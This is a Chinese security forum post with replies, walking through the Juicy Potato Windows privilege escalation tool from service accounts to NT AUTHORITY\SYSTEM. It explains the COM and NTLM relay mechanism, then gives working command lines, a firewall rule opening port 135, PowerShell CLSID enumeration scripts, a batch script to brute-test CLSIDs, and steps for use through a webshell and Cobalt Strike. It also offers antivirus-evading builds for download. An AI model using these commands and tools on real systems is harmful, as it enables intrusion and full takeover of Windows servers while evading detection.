用户
搜索
  • TA的每日心情
    擦汗
    2020-4-3 19:23
  • 签到天数: 58 天

    连续签到: 1 天

    [LV.5]常住居民I

    超级版主

    培训/业务/联系Q547006660

    Rank: 8Rank: 8

    57

    主题

    208

    帖子

    7408

    魔法币
    收听
    0
    粉丝
    63
    注册时间
    2017-1-18

    秦春秋文阁春秋游侠核心白帽i春秋签约作者幽默灌水王积极活跃奖白帽高手白帽传说

    J0o1ey 超级版主 培训/业务/联系Q547006660 秦 春秋文阁 春秋游侠 核心白帽 i春秋签约作者 幽默灌水王 积极活跃奖 白帽高手 楼主
    发表于 2020-3-25 10:54:58 558647

    0X00-Juicy-Potato简介

    Juicy Potato江湖人称烂土豆,是在MS16-075漏洞利用工具RottenPotatoN工具的基础上做了扩展(A sugared version of RottenPotatoNG, with a bit of juice, i.e. **another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM***)

    追根到底是一款Windows的本地提权工具,利用了COM对象进行提权,相比RottenPotatoNG适用范围更加广泛(正如作者所说with a bit of juice)

    使用Juicy Potato这款提权工具的前提是获得了SeImpersonate或者SeAssignPrimaryToken权限,因此带有一定的局限性,对权限有一定要求,并非万能神器

    Juicy Potato的项目官网如下:

    https://github.com/ohpe/juicy-potato

    这款提权工具其实早在18年末就有人开发出来了,但是吧,依然没有进入到很多人的视野中,今天写这篇文章也是站在很多大佬的肩膀上进行总结与开新枝,如有错误,希望大家能及时斧正

    img

    0x01-Juicy-potato项目功能点

    ①Target CLSID

    选择你想要的任何CLSID。

    目前作者的官方github项目中已经给出了windows版本的CLSID列表。

    ②COM Listening port

    设置你需要的COM侦听端口

    ③COM Listening IP address

    设置COM组件监听的目标ip

    ④Process creation mode

    取决于模拟用户的权限,有以下三个选择:

    CreateProcessWithToken (需要SeImpersonate权限)

    CreateProcessAsUser (需要SeAssignPrimaryToken权限)

    both(综合以上两种)

    ⑤Process to launch

    如果JuIcy potato利用成功,则启动可执行文件或脚本

    ⑥Process Argument

    自定义已启动的进程参数

    ⑦与远程RPC服务器交互

    0x02-Juicy-Potato局限性

    ①当前用户必须具有以下权限中的一种,或者两种同时具备

    SeImpersonate权限

    SeAssignPrimaryToken权限

    以下用户具有该权限:

    · 本地管理员组成员和本地服务帐户

    · 由服务控制管理器启动的服务

    · COM基础结构启动的并配置为在特定帐户下运行的COM服务器

    针对提权的话,主要是第三类用户

    常见的为LocalService用户,例如IIS和者sqlserver的用户

    ②开启DCOM,并能找到可用的COM对象

    ③开启RPC

    0x03-原理(来自3g大佬)

    · LocalService用户默认具有SeImpersonate和SeAssignPrimaryToken权限

    · 开启SeImpersonate权限后,能够在调用CreateProcessWithToken时,传入新的Token创建新的进程

    · 开启SeAssignPrimaryToken权限后,能够在调用CreateProcessAsUser时,传入新的Token创建新的进程

    Juicy Potato的实现流程如下:

    1、加载COM,发出请求,权限为System

    在指定ip和端口的位置尝试加载一个COM对象。

    RottenPotatoNG使用的COM对象为BITS,CLSID为{4991d34b-80a1-4291-83b6-3328366b9097}

    可供选择的COM对象不唯一,Juicy Potato提供了多个,详细列表可参考如下地址:

    https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md

    2、回应步骤1的请求,发起NTLM认证

    正常情况下,由于权限不足,当前权限不是System,无法认证成功。

    3、针对本地端口,同样发起NTLM认证,权限为当前用户

    由于权限为当前用户,所以NTLM认证能够成功完成。

    RottenPotatoNG使用的135端口。

    Juicy Potato支持指定任意本地端口,但是RPC一般默认为135端口,很少被修改。

    4、分别拦截两个NTLM认证的数据包,替换数据,通过NTLM重放使得步骤1(权限为System)的NTLM认证通过,获得System权限的Token

    重放时需要注意NTLM认证的NTLM Server Challenge不同,需要修正。

    5、利用System权限的Token创建新进程

    如果开启SeImpersonate权限,调用CreateProcessWithToken,传入System权限的Token,创建的进程为System权限。

    如果开启SeAssignPrimaryToken权限,调用CreateProcessAsUser,传入System权限的Token,创建的进程为System权限

    0x04-在命令行中使用

    D:\>JuicyPotato.exe
    JuicyPotato v0.1
    
    Mandatory args:
    -t createprocess调用: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
    -p <program>: 运行指定程序
    -l <port>: COM服务器侦听端口
    
    Optional args:
    -m <ip>: COM服务器侦听地址 (默认 127.0.0.1)
    -a <argument>: 传递给程序命令行参数 (默认 NULL)
    -k <ip>: RPC服务器IP地址 (默认 127.0.0.1)
    -n <port>: RPC服务器侦听端口 (默认 135)
    -c <{clsid}>: CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097})
    -z 仅测试CLSID并打印令牌的用户

    1、查看当前用户权限,是否符合要求

    whoami /priv

    如果开启SeImpersonate权限,juicypotato的参数可以使用-t t

    如果开启SeAssignPrimaryToken权限,juicypotato的参数可以使用-t u

    如果均开启,可以选择-t *

    如果均未开启,那么无法提权。

    8LJkcQ.png

    2、查看RPC默认端口是否为135

    如果被修改(例如为111),juicypotato的参数可以使用-n 111指定RPC端口

    如果系统禁用了RPC,并不是一定无法提权,需要满足如下条件:

    找到另一系统,能够以当前用户的权限进行远程RPC登录,此时juicypotato的参数可以使用-k <ip>

    Windows默认配置下,允许135端口的入站规则即可进行远程RPC登录。

    添加防火墙规则允许135端口入站的命令如下:

    netsh advfirewall firewall add rule name="135" protocol=TCP dir=in localport=135 action=allow

    3、选择可用的CLSID

    参考列表

    https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md

    根据你的系统类型选择CLSID(EG:{9B1F122C-2982-4e91-AA8B-E071D54F2A4D})

    然后-c指定即可

    8LYGRS.png

    相关系统使用的CLSID文末都给大家打包了

    4、选择一个系统未占用的端口作为监听端口

    -l参数指定即可

    例如,最终参数如下:

    JuicyPotato.exe -t t -p c:\windows\system32\cmd.exe -l 1111 -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D})

    即使用SeImpersonate权限创建进程,监听端口1111,使用的CLSID为{8BC3F05E-D86B-11D0-A075-00C04FB68820}来进行提权

    5.执行效果

    8Lh9U0.png

    0x05-在Webshell中使用JuicyPotato

    webshell中使用Juicy-Potato的提权的话

    Juicy potato需要进行一些特殊处理,使其直接返回结果

    实现起来比较简单,在我文章后附有文件JuicyPotato-webshell.exe

    其默认使用的CLSID为{4991d34b-80a1-4291-83b6-3328366b9097}

    直接执行JuicyPotato-webshell.exe -p "whoami"

    或者JuicyPotato-webshell.exe -p "whoami" -c {XXXXX}即可

    执行效果如图

    8LX2dO.png

    0x06-在命令行中批量提取当前系统的CLSID

    官方给出的code如下

    <#
    This script extracts CLSIDs and AppIDs related to LocalService.DESCRIPTION
    Then exports to CSV
    #>
    
    $ErrorActionPreference = "Stop"
    
    # Importing some requirements
    . .\utils\Join-Object.ps1
    
    New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT
    
    $CLSID = Get-ItemProperty HKCR:\clsid\* | select-object AppID,@{N='CLSID'; E={$_.pschildname}} | where-object {$_.appid -ne $null}
    
    $APPID = Get-ItemProperty HKCR:\appid\* | select-object localservice,@{N='AppID'; E={$_.pschildname}} | where-object {$_.LocalService -ne $null}
    
    $RESULT = Join-Object -Left $APPID -Right $CLSID -LeftJoinProperty AppID -RightJoinProperty AppID -Type AllInRight  | Sort-Object LocalService
    
    # Preparing to Output
    $OS = (Get-WmiObject -Class Win32_OperatingSystem | ForEach-Object -MemberName Caption).Trim() -Replace "Microsoft ", ""
    $TARGET = $OS -Replace " ","_"
    
    # Make target folder
    New-Item -ItemType Directory -Force -Path .\$TARGET
    
    # Output in a CSV
    $RESULT | Export-Csv -Path ".\$TARGET\CLSIDs.csv" -Encoding ascii -NoTypeInformation
    
    # Export CLSIDs list
    $RESULT | Select CLSID -ExpandProperty CLSID | Out-File -FilePath ".\$TARGET\CLSID.list" -Encoding ascii
    
    # Visual Table
    $RESULT | ogv

    部分系统中是无法正常提取的,会报错

    在此贴上修复的powershell提取脚本

    New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT | Out-Null
    $CLSID = Get-ItemProperty HKCR:\clsid\* | select-object AppID,@{N='CLSID'; E={$_.pschildname}} | where-object {$_.appid -ne $null}
    foreach($a in $CLSID)
    {
        Write-Host $a.CLSID
    }

    直接执行Powershell -ep bypass -f get-clid-2012.ps1即可

    效果如图

    8OSa8g.png

    0x07-在目标机批量验证CLSID提权可用性

    官方给出的批处理脚本经过测试后,问题非常多,本人做了一下修改

    code如下--juicypotato.bat

    home.php?mod=space&uid=46675 off
    :: Starting port, you can change it
    set /a port=10000
    SETLOCAL ENABLEDELAYEDEXPANSION
    
    FOR /F %%i IN (CLSID.list) DO (
       echo %%i !port!
       juicypotato-webshell.exe -c %%i -p "whoami" >> result.log
       set RET=!ERRORLEVEL!
       :: echo !RET!
       if "!RET!" == "1"  set /a port=port+1
    )

    执行后在同目录下生成一个result.log文件

    记录测试不同CLSID使用烂土豆提权的结果

    效果如图所示

    8O9p6J.png

    随后根据log的相关输出,选择合适的CLSID进行权限提升即可

    0x08-在Cobaltstrike中使用Juicypotato提权

    在Cobaltstrike中使用Juicypotato提取,是使用DLL注入的方式执行Juicypotato实现权限提升

    但是缺陷比较明显,只能使用默认的CLSID({4991d34b-80a1-4291-83b6-3328366b9097})进行提权,如果想使用其他CLSID请参考命令行等执行方法

    下载并解压reflectiveJuicyPotato.zip,在Cobaltstike中选择脚本管理器-->load加载juicypotato.cna脚本

    随后我们在提权模块即可发现多了一个JuicyPotato

    8OEXz6.png

    点击开始后,提权效果如图

    8OZc3q.png

    权限提升至NT AUTHORITY\SYSTEM

    0X09福利/实验资源下载

    本次实验环境中的原版JuicyPotato,JuicyPotato-webshell,Get-CLSID.ps1,批处理文件,Cobaltstrike脚本都已经给大家集成好了

    听说JuicyPotato已经加入豪华全家桶系列?没事,咱有免杀版本

    懂C的人也可以自己修改一下源代码,很好过杀软的

    全部的脚本及程序文末回复后即可下载

    如果没有魔法币,可以签到获取

    0X10 Reference

    https://github.com/ohpe/juicy-potato/tree/master/CLSID/

    https://github.com/ohpe/juicy-potato

    https://3gstudent.github.io



    本次实验所有程序脚本下载链接
    游客,如果您要查看本帖隐藏内容请回复

    评分

    参与人数 2魔法币 +10 收起 理由
    Devil丶 + 5 请勿灌水,提高回帖质量将帮助论坛越来越好.
    魔帝 + 5 请勿灌水,提高回帖质量将帮助论坛越来越好.

    查看全部评分

    有培训需求或是技术交流需求的朋友可以联系我~QQ547006660|交流群820783253|团队首页www.gcowsec.com|
    这个不错啊 有点厉害了啊  分析的很到位
    使用道具 举报 回复
    强强强 有点厉害了啊  分析的很到位
    使用道具 举报 回复
    强强强 有点厉害了啊  分析的很到位
    使用道具 举报 回复
    工具确实不错,但是自己尝试了编译,过不了杀毒
    使用道具 举报 回复
    不错不错 66666666666666666666666666666
    使用道具 举报 回复
    发表于 2020-7-26 18:46:09
    6666666666666666666666666666666666
    安全就业难么?不难。来异空间安全培训吧。
    使用道具 举报 回复
    下载地址被关了,下载不了!我的魔法币啊!
    使用道具 举报 回复
    1111111111111111111111111111111111
    使用道具 举报 回复
    大佬看看隐藏
    使用道具 举报 回复
    发表于 2020-3-25 14:40:57
    感谢分享   
    使用道具 举报 回复
    发表于 2020-3-25 16:39:46
    看看大佬的隐藏,部门图片显示不正常。
    使用道具 举报 回复
    发表于 2020-3-25 20:25:56
    谢谢分享
    使用道具 举报 回复
    发表于 2020-3-26 07:58:23
    谢谢大佬的分享
    有一天他会突然觉得累了甚至忘了初衷 放弃了梦想也许因为年纪的关系奔波于现实 然后拉黑了网络认识的所有人或者说不用了一个号码换了一个QQ 那么记得他叫大叔 这个网络他曾来过
    使用道具 举报 回复
    发表于 2020-3-26 17:18:32
    大佬太强了
    使用道具 举报 回复
    发表于 2020-3-26 22:58:12
    黑客之术
    使用道具 举报 回复
    学习下大佬的提权姿势
    使用道具 举报 回复
    xiexiedalao
    使用道具 举报 回复
    感谢分享   
    使用道具 举报 回复
    发表于 2020-3-30 16:48:32
    使用道具 举报 回复
    发表于 2020-4-1 16:58:13
    哈哈哈哈哈哈哈哈哈
    使用道具 举报 回复
    1234下一页
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册